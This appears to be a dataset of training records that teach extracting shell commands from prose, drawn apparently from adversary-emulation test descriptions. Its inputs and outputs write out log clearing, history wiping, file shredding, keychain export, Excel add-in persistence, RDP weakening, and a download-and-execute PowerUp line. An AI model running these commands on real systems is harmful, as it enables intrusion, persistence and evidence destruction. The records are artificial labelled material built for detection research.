    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    After clearing the Windows Event Logs with this command: wevtutil cl #{log_name}\n, open System.evtx at C:\\Windows\\System32\\winevt\\Logs to ensure it's been emptied.; You can clear system event logs by executing these PowerShell commands: $logs = Get-EventLog -List | ForEach-Object {$_.Log}\n$logs | ForEach-Object {Clear-EventLog -LogName $_ }\nGet-EventLog -list\n. Check C:\\Windows\\System32\\winevt\\Logs\\Security.evtx to confirm the logs were cleared.",
    "output": "{\"command_list\": [\"wevtutil cl #{log_name}\\n\", \"$logs = Get-EventLog -List | ForEach-Object {$_.Log}\\n$logs | ForEach-Object {Clear-EventLog -LogName $_ }\\nGet-EventLog -list\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    All files within the temporary directory can be deleted along with the folder itself by executing this command: rm -rf #{folder_to_delete}; The temporary file can be overwritten and deleted with this command: shred -u #{file_to_shred}",
    "output": "{\"command_list\": [\"rm -rf #{folder_to_delete}\\n\", \"shred -u #{file_to_shred}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To locate all certificate items and save them in PEM format, use the following command: security find-certificate -a -p > #{cert_export}; The certificate pem file will be imported into the keychain via the command: security import #{cert_export} -k",
    "output": "{\"command_list\": [\"security find-certificate -a -p > #{cert_export}\\n\", \"security import #{cert_export} -k\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For disabling history tracking in shells, run the following: export HISTSIZE=0\n#{evil_command}\n; An attacker may erase their command history by clearing the bash history cache and overwriting the history file, which can be achieved with this command sequence: \ncp $HISTFILE $HISTFILE.OLD\nif ((${#HISTFILE[@]})); then echo $HISTFILE; fi\necho \"\" > $HISTFILE\nif [ $(wc -c <$HISTFILE) -gt 1 ]; then echo \"$HISTFILE is larger than 1k\"; fi\nls -la $HISTFILE \ncat $HISTFILE\nhistory -c \nif [ $(history |wc -l) -eq 1 ]; then echo \"History cache cleared\"; fi\n",
    "output": "{\"command_list\": [\"export HISTSIZE=0\\n#{evil_command}\\n\", \"cp $HISTFILE $HISTFILE.OLD\\nif ((${#HISTFILE[@]})); then echo $HISTFILE; fi\\necho \\\"\\\" > $HISTFILE\\nif [ $(wc -c <$HISTFILE) -gt 1 ]; then echo \\\"$HISTFILE is larger than 1k\\\"; fi\\nls -la $HISTFILE \\ncat $HISTFILE\\nhistory -c \\nif [ $(history |wc -l) -eq 1 ]; then echo \\\"History cache cleared\\\"; fi\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This atomic test loads an XLL file via the Excel add-ins library, triggering Notepad.exe as a child process (without persistent execution like malware would), with the command:\n$excelApp = New-Object -COMObject \"Excel.Application\"\nif(-not $excelApp.path.contains(\"Program Files (x86)\")){\n    Write-Host \"64-bit Office\"\n    $excelApp.RegisterXLL(\"PathToAtomicsFolder\\\\T1137.006\\\\bin\\\\Addins\\\\excelxll_x64.xll\")\n}\nelse{\n  Write-Host \"32-bit Office\"\n  $excelApp.RegisterXLL(\"PathToAtomicsFolder\\\\T1137.006\\\\bin\\\\Addins\\\\excelxll_x86.xll\")\n}\n; To create an Excel Add-in file and configure it to run automatically when Excel starts, use the following command: $excelApp = New-Object -COMObject \"Excel.Application\"\nif(-not $excelApp.path.contains(\"Program Files (x86)\")){\n    Write-Host \"64-bit Office\"\n    Copy \"PathToAtomicsFolder\\T1137.006\\bin\\Addins\\excelxll_x64.xll\" \"$env:APPDATA\\Microsoft\\AddIns\\notepad.xll\"\n}\nelse{\n  Write-Host \"32-bit Office\"\n  Copy \"PathToAtomicsFolder\\T1137.006\\bin\\Addins\\excelxll_x86.xll\" \"$env:APPDATA\\Microsoft\\AddIns\\notepad.xll\"\n}\n$ver = $excelApp.version\n$ExcelRegPath=\"HKCU:\\Software\\Microsoft\\Office\\$Ver\\Excel\\Options\"\nRemove-Item $ExcelRegPath -ErrorAction Ignore\nNew-Item -type Directory $ExcelRegPath | Out-Null\nNew-ItemProperty $ExcelRegPath OPEN -value \"/R notepad.xll\" -propertyType string | Out-Null\n$excelApp.Quit()\nStart-Process \"Excel\"\n",
    "output": "{\"command_list\": [\"$excelApp = New-Object -COMObject \\\"Excel.Application\\\"\\nif(-not $excelApp.path.contains(\\\"Program Files (x86)\\\")){\\n    Write-Host \\\"64-bit Office\\\"\\n    $excelApp.RegisterXLL(\\\"PathToAtomicsFolder\\\\T1137.006\\\\bin\\\\Addins\\\\excelxll_x64.xll\\\")\\n}\\nelse{\\n  Write-Host \\\"32-bit Office\\\"\\n  $excelApp.RegisterXLL(\\\"PathToAtomicsFolder\\\\T1137.006\\\\bin\\\\Addins\\\\excelxll_x86.xll\\\")\\n}\\n\", \"$excelApp = New-Object -COMObject \\\"Excel.Application\\\"\\nif(-not $excelApp.path.contains(\\\"Program Files (x86)\\\")){\\n    Write-Host \\\"64-bit Office\\\"\\n    Copy \\\"PathToAtomicsFolder\\\\T1137.006\\\\bin\\\\Addins\\\\excelxll_x64.xll\\\" \\\"$env:APPDATA\\\\Microsoft\\\\AddIns\\\\notepad.xll\\\"\\n}\\nelse{\\n  Write-Host \\\"32-bit Office\\\"\\n  Copy \\\"PathToAtomicsFolder\\\\T1137.006\\\\bin\\\\Addins\\\\excelxll_x86.xll\\\" \\\"$env:APPDATA\\\\Microsoft\\\\AddIns\\\\notepad.xll\\\"\\n}\\n$ver = $excelApp.version\\n$ExcelRegPath=\\\"HKCU:\\\\Software\\\\Microsoft\\\\Office\\\\$Ver\\\\Excel\\\\Options\\\"\\nRemove-Item $ExcelRegPath -ErrorAction Ignore\\nNew-Item -type Directory $ExcelRegPath | Out-Null\\nNew-ItemProperty $ExcelRegPath OPEN -value \\\"/R notepad.xll\\\" -propertyType string | Out-Null\\n$excelApp.Quit()\\nStart-Process \\\"Excel\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To alter the behavior of online help redirection in Event Viewer, you can modify the registry with the following command: reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Event Viewer\" /v MicrosoftRedirectionProgram /t REG_EXPAND_SZ /d \"#{redirection_program}\" /f; The remote registry can be modified to enable RDP with the command: reg add \"hklm\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\Terminal Server\\\\Winstations\\\\RDP-Tcp\" /v SecurityLayer /t REG_DWORD /d 0 /f",
    "output": "{\"command_list\": [\"reg add \\\"HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Event Viewer\\\" /v MicrosoftRedirectionProgram /t REG_EXPAND_SZ /d \\\"#{redirection_program}\\\" /f\", \"reg add \\\"hklm\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\Terminal Server\\\\Winstations\\\\RDP-Tcp\\\" /v SecurityLayer /t REG_DWORD /d 0 /f\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 